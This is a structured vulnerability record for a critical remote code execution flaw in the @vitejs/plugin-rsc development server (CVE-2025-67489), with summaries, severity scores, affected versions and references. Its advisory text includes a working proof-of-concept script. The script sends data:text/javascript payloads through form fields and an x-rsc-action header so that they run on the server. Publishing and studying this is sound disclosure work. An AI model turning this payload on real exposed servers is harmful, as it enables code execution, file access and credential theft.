{"id":"CVE-2025-67489","aliases":["CVE-2025-67489","GHSA-j76j-5p5g-9wfr"],"related":[],"kind":"vulnerability","state":"published","title":"@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server","summary":"@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nArbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.\n\n## Impact\n\nAttackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.\n\n\n## Details\n\nIn the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs:\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47\n\nDuring development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24\n\n## Proof of Concept\n\nThe example app is avialable in\n- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter\n- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js\n\n**Reproduction Steps:**\n\n- Stat development server `vite dev`\n- Run a following script `node poc.js`\n- See \"REMOTE CODE EXECUTION1\" and \"REMOTE CODE EXECUTION2\"  in server console\n\n```js\n// [poc.js]\nconst payload = {\n  0: [\"$F1\"],\n  1: { id: \"data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# \" },\n};\nconst fd = new FormData();\nfor (const key in payload) {\n  fd.append(key, JSON.stringify(payload[key]));\n}\n\nconst serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';\nconst response = fetch(serverUrl, {\n  method: \"POST\",\n  headers: {\n    \"x-rsc-action\": \"data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# \",\n  },\n  body: fd,\n})\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"@vitejs/plugin-rs proporciona soporte para React Server Components (RSC) para Vite. Las versiones 0.5.5 e inferiores son vulnerables a la ejecución remota de código arbitraria en el servidor de desarrollo a través de importaciones dinámicas inseguras en las API de funciones del servidor (loadServerAction, decodeReply, decodeAction) cuando se integran en aplicaciones RSC que exponen endpoints de funciones del servidor. Atacantes con acceso de red al servidor de desarrollo pueden leer/modificar archivos, exfiltrar datos sensibles (código fuente, variables de entorno, credenciales) o pivotar a otros servicios internos. Aunque esto afecta solo a los servidores de desarrollo, el riesgo aumenta al usar vite --host para exponer el servidor en todas las interfaces de red. Este problema está solucionado en la versión 0.5.6.","source":"nvd"}],"published":"2025-12-08T22:16:31.000Z","modified":"2026-10-14T21:10:00.183Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 0.5.6","status":"affected"}],"vendor":"vitejs","product":"vite-plugin-react","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.5.6"}],"ecosystem":"npm","package":"@vitejs/plugin-rsc","purl":"pkg:npm/%40vitejs/plugin-rsc","source":"ghsa"}],"references":[{"url":"https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-67489","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/vitejs/vite-plugin-react","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2025-12-10T16:00:10.399Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-67489","url":"https://www.cve.org/CVERecord?id=CVE-2025-67489","licence":"CVE Terms of Use","modified":"2025-12-10T16:00:25.438Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j76j-5p5g-9wfr","url":"https://github.com/advisories/GHSA-j76j-5p5g-9wfr","licence":"CC-BY-4.0","modified":"2025-12-09T22:13:57.489Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-67489","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-67489","licence":"Public domain","modified":"2026-10-14T21:10:00.183Z"}],"updatedAt":"2026-11-25T22:59:09.118Z","epss":{"score":0.00865,"percentile":0.59741,"date":"2026-12-01T12:00:22.000Z"}}